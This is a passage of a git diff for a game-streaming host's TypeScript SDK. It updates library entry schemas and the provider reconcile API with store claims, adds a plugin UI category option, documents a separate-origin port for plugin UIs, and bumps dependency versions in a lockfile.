supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })) }).annotate({ "description": "How to recognize this title's process once it is running (design §9) — the one thing a\nprovider knows that the host cannot work out for itself.\n\nOptional: without it the entry is still tracked by the child the host spawns for it, which\ncovers every command that stays in the foreground. It earns its keep for a command that hands\noff and exits — a launcher script, a `flatpak run`, a front-end that starts an emulator — where\nthe host would otherwise lose the game the moment the shim returns." })), "external_id": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The provider's own stable key for this title — the reconcile diff key, so the\nhost-assigned `id` stays stable across reconciles. Present iff `provider` is." })), "id": Schema.String.annotate({ "description": "Host-assigned, stable for the life of the entry (the `{id}` in the CRUD path)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps (RFC §6): each `do` runs before this title launches, each\n`undo` at session end in reverse order (see [`crate::hooks::run_prep`])." })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) -export type CustomInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null }, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "title": string } -export const CustomInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]." })), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]. Replaced\nwholesale on update, like `art`: an edit must round-trip every field it wants kept." }) -export type ProviderEntryInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null }, readonly "external_id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "title": string } -export const ProviderEntryInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its\ntitles' install directories (Playnite does) should send them: it is what lets a game launched\nthrough the provider's own client still end its session when the player quits." })), "external_id": Schema.String.annotate({ "description": "The provider's stable id for this title (the reconcile diff key)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) +export type CustomEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "env_marker"?: null | { readonly "key": string, readonly "value"?: string | null }, readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null, readonly "steam_appid"?: never }, readonly "external_id"?: string | null, readonly "id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "provider"?: string | null, readonly "role"?: "game" | "launcher", readonly "store"?: string | null, readonly "title": string } +export const CustomEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "env_marker": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "key": Schema.String.annotate({ "description": "The variable name (e.g. `HEROIC_GAME_ID`)." }), "value": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." })) }).annotate({ "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." })], { mode: "oneOf" })), "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })), "steam_appid": Schema.optionalKey(Schema.Never) }).annotate({ "description": "How to recognize this title's process once it is running (design §9) — the one thing a\nprovider knows that the host cannot work out for itself.\n\nOptional: without it the entry is still tracked by the child the host spawns for it, which\ncovers every command that stays in the foreground. It earns its keep for a command that hands\noff and exits — a launcher script, a `flatpak run`, a front-end that starts an emulator — where\nthe host would otherwise lose the game the moment the shim returns." })), "external_id": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The provider's own stable key for this title — the reconcile diff key, so the\nhost-assigned `id` stays stable across reconciles. Present iff `provider` is." })), "id": Schema.String.annotate({ "description": "Host-assigned, stable for the life of the entry (the `{id}` in the CRUD path)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps (RFC §6): each `do` runs before this title launches, each\n`undo` at session end in reverse order (see [`crate::hooks::run_prep`])." })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." })), "store": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) +export type CustomInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "env_marker"?: null | { readonly "key": string, readonly "value"?: string | null }, readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null, readonly "steam_appid"?: never }, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "role"?: "game" | "launcher", readonly "title": string } +export const CustomInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "env_marker": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "key": Schema.String.annotate({ "description": "The variable name (e.g. `HEROIC_GAME_ID`)." }), "value": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." })) }).annotate({ "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." })], { mode: "oneOf" })), "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })), "steam_appid": Schema.optionalKey(Schema.Never) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]." })), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]. Replaced\nwholesale on update, like `art`: an edit must round-trip every field it wants kept." }) +export type ProviderEntryInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "env_marker"?: null | { readonly "key": string, readonly "value"?: string | null }, readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null, readonly "steam_appid"?: never }, readonly "external_id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "role"?: "game" | "launcher", readonly "title": string } +export const ProviderEntryInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "env_marker": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "key": Schema.String.annotate({ "description": "The variable name (e.g. `HEROIC_GAME_ID`)." }), "value": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." })) }).annotate({ "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." })], { mode: "oneOf" })), "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })), "steam_appid": Schema.optionalKey(Schema.Never) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its\ntitles' install directories (Playnite does) should send them: it is what lets a game launched\nthrough the provider's own client still end its session when the player quits." })), "external_id": Schema.String.annotate({ "description": "The provider's stable id for this title (the reconcile diff key)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) export type CatalogResponse = { readonly "busy": boolean, readonly "host": HostFacts, readonly "plugins": ReadonlyArray, readonly "sources": ReadonlyArray } export const CatalogResponse = Schema.Struct({ "busy": Schema.Boolean.annotate({ "description": "True while a package operation is in flight — the console disables install buttons." }), "host": HostFacts, "plugins": Schema.Array(CatalogEntry), "sources": Schema.Array(SourceView) }) export type StatsSample = { readonly "bitrate_kbps": number, readonly "fec_recovered": number, readonly "fps": number, readonly "frames_dropped": number, readonly "mbps": number, readonly "packets_dropped": number, readonly "repeat_fps": number, readonly "send_dropped": number, readonly "session_id": number, readonly "stages": ReadonlyArray, readonly "t_ms": number } @@ -370,6 +370,8 @@ export type DeleteCustomGame404 = ApiError export const DeleteCustomGame404 = ApiError export type DeleteCustomGame500 = ApiError export const DeleteCustomGame500 = ApiError +export type ReconcileProviderEntriesParams = { readonly "store"?: string } +export const ReconcileProviderEntriesParams = Schema.Struct({ "store": Schema.optionalKey(Schema.String) }) export type ReconcileProviderEntriesRequestJson = ReadonlyArray export const ReconcileProviderEntriesRequestJson = Schema.Array(ProviderEntryInput) export type ReconcileProviderEntries200 = ReadonlyArray @@ -378,6 +380,8 @@ export type ReconcileProviderEntries400 = ApiError export const ReconcileProviderEntries400 = ApiError export type ReconcileProviderEntries401 = ApiError export const ReconcileProviderEntries401 = ApiError +export type ReconcileProviderEntries409 = ApiError +export const ReconcileProviderEntries409 = ApiError export type ReconcileProviderEntries500 = ApiError export const ReconcileProviderEntries500 = ApiError export type DeleteProviderEntries200 = ProviderRemoved @@ -987,11 +991,13 @@ export const make = ( })) ), "reconcileProviderEntries": (provider, options) => HttpClientRequest.put(`/api/v1/library/provider/${provider}`).pipe( + HttpClientRequest.setUrlParams({ "store": options.params?.["store"] as any }), HttpClientRequest.bodyJsonUnsafe(options.payload), withResponse(options.config)(HttpClientResponse.matchStatus({ "2xx": decodeSuccess(ReconcileProviderEntries200), "400": decodeError("ReconcileProviderEntries400", ReconcileProviderEntries400), "401": decodeError("ReconcileProviderEntries401", ReconcileProviderEntries401), + "409": decodeError("ReconcileProviderEntries409", ReconcileProviderEntries409), "500": decodeError("ReconcileProviderEntries500", ReconcileProviderEntries500), orElse: unexpectedStatus })) @@ -1543,11 +1549,12 @@ readonly "getHostInfo": (options: { readonly con readonly "getLibrary": (options: { readonly params?: typeof GetLibraryParams.Encoded | undefined; readonly config?: Config | undefined } | undefined) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"GetLibrary401", typeof GetLibrary401.Type>> /** * Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams -* the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact — -* it's what the user's Steam client already shows for it), the public Steam CDN's flat URL -* convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host -* can't predict, in which case this 404s and the client falls through to its next art candidate). -* Only Steam ids are backed today; any other store 404s. +* the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries, +* and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back +* to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the +* user's Steam client already shows for it), the public Steam CDN's flat URL convention second +* (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case +* this 404s and the client falls through to its next art candidate). */ readonly "getLibraryArt": (id: string, kind: string, options: { readonly config?: Config | undefined } | undefined) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"GetLibraryArt401", typeof GetLibraryArt401.Type> | PunktfunkError<"GetLibraryArt404", typeof GetLibraryArt404.Type>> /** @@ -1569,8 +1576,16 @@ readonly "deleteCustomGame": (id: string, option * surviving title's host id stable across reconciles, drops orphans, and never touches manual * entries or other providers'. An empty array removes everything the provider owns. Emits * `library.changed` with the provider as `source`. +* +* `?store=` additionally **claims** that store for the provider: its entries then surface with +* deterministic `:` ids and the store's own badge, instead of opaque +* `custom:` ones — which is what lets a library plugin reproduce the entries an in-host scanner +* used to produce, right down to the GameStream app ids and client-side art caches. One provider +* per store; a second claimant gets 409. While a claim is held the matching built-in scanner is +* suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty +* reconcile (a store can legitimately have zero installed titles). */ -readonly "reconcileProviderEntries": (provider: string, options: { readonly payload: typeof ReconcileProviderEntriesRequestJson.Encoded; readonly config?: Config | undefined }) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"ReconcileProviderEntries400", typeof ReconcileProviderEntries400.Type> | PunktfunkError<"ReconcileProviderEntries401", typeof ReconcileProviderEntries401.Type> | PunktfunkError<"ReconcileProviderEntries500", typeof ReconcileProviderEntries500.Type>> +readonly "reconcileProviderEntries": (provider: string, options: { readonly params?: typeof ReconcileProviderEntriesParams.Encoded | undefined; readonly payload: typeof ReconcileProviderEntriesRequestJson.Encoded; readonly config?: Config | undefined }) => Effect.Effect, HttpClientError.HttpClientError | SchemaError | PunktfunkError<"ReconcileProviderEntries400", typeof ReconcileProviderEntries400.Type> | PunktfunkError<"ReconcileProviderEntries401", typeof ReconcileProviderEntries401.Type> | PunktfunkError<"ReconcileProviderEntries409", typeof ReconcileProviderEntries409.Type> | PunktfunkError<"ReconcileProviderEntries500", typeof ReconcileProviderEntries500.Type>> /** * Deletes every entry owned by `{provider}` — the clean-uninstall path for a provider plugin * (RFC §8). Emits `library.changed` when anything was removed. diff --git a/sdk/src/ui.ts b/sdk/src/ui.ts index ac466a72..b71f9e77 100644 --- a/sdk/src/ui.ts +++ b/sdk/src/ui.ts @@ -44,6 +44,17 @@ export interface PluginUiOptions { version?: string; /** Optional lucide icon name for the nav entry (`[a-z0-9-]`, e.g. `"gamepad-2"`). */ icon?: string; + /** + * What KIND of plugin this is (`[a-z][a-z0-9-]{0,31}`). The console groups and filters on it — + * and notably keeps `"library"` plugins **out of the nav**, because a scanner's entry point is + * the Library section's Game sources surface, not a sidebar item of its own. Six installed + * scanners would otherwise flood the sidebar. + * + * `@punktfunk/plugin-kit`'s `defineLibraryPlugin` sets this for you. Set it by hand only if you + * are building a library plugin without the kit — and omit it if your plugin wants a full page + * despite also syncing a library (rom-manager does). + */ + category?: string; /** * Directory of the built SPA. Requests are served from here first (with an `index.html` SPA * fallback for navigations); a static miss falls through to [`fetch`]. Accepts a filesystem @@ -182,6 +193,9 @@ export const servePluginUi = async ( secret, ...(opts.icon !== undefined ? { icon: opts.icon } : {}), }, + // Sent through the UNTYPED `pf.request` below, so an older host simply ignores the unknown + // field rather than rejecting the registration — no runner flag, no version gate. + ...(opts.category !== undefined ? { category: opts.category } : {}), }; const register = () => pf.request("PUT", `/plugins/${opts.id}`, body); diff --git a/web/.env.example b/web/.env.example index 3eece804..c14fc007 100644 --- a/web/.env.example +++ b/web/.env.example @@ -44,3 +44,16 @@ PUNKTFUNK_UI_SECURE=1 # The Bun server binds these (standard Nitro env): # PORT=47992 # HOST=0.0.0.0 + +# The port plugin UIs are served on — their OWN ORIGIN, not the console's. Defaults to PORT + 1. +# +# This is a security boundary, not a layout choice. A plugin's interface is third-party code; served +# on the console's origin it ran as first-party script with the operator's session and could drive +# the whole admin API (security-review 2026-08-05 H-3). Same host, same certificate, different port +# means a different ORIGIN to the browser (so the same-origin policy separates them) while staying +# the same SITE (so the SameSite=Lax session cookie still reaches it and plugin pages keep working). +# +# The console refuses to serve plugin UIs on its own origin, so if this port cannot be bound, plugin +# UIs are DISABLED rather than silently moved back — the console says so on the plugin page. +# Open it in the firewall alongside PORT if you reach the console from other devices. +# PUNKTFUNK_UI_PLUGIN_PORT=47993 diff --git a/web/bun.lock b/web/bun.lock index 7c90010b..e1c2d0ff 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -46,16 +46,16 @@ }, }, "overrides": { - "brace-expansion": "^5.0.8", + "brace-expansion": "^5.0.9", "dompurify": "^3.4.12", - "fast-uri": "^3.1.4", + "fast-uri": "^3.1.5", "immutable": "^4.3.9", "js-yaml": "^4.3.0", "linkify-it": "^5.0.2", - "postcss": "^8.5.10", + "postcss": "^8.5.25", "sharp": "^0.35.3", "tar": "^7.5.21", - "undici": "^7.28.0", + "undici": "^7.29.0", }, "packages": { "@adobe/css-tools": ["@adobe/css-tools@4.5.0", "", {}, "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q=="], @@ -1118,7 +1118,7 @@ "body-scroll-lock": ["body-scroll-lock@4.0.0-beta.0", "", {}, "sha512-a7tP5+0Mw3YlUJcGAKUqIBkYYGlYxk2fnCasq/FUph1hadxlTRjF+gAcZksxANnaMnALjxEddmSi/H3OR8ugcQ=="], - "brace-expansion": ["brace-expansion@5.0.8", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-JZyDyq3D4AUifKTPOB7DELf6XsB3WdPuNxCtob1vFXPsSXhdAiHBWJ/tJ8HAc9aH84BK+5JFZLNkJKx3G9kzQg=="], + "brace-expansion": ["brace-expansion@5.0.9", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg=="], "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], @@ -1388,7 +1388,7 @@ "fast-safe-stringify": ["fast-safe-stringify@2.1.1", "", {}, "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA=="], - "fast-uri": ["fast-uri@3.1.4", "", {}, "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw=="], + "fast-uri": ["fast-uri@3.1.5", "", {}, "sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw=="], "fastq": ["fastq@1.20.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw=="], @@ -1876,7 +1876,7 @@ "pluralize": ["pluralize@8.0.0", 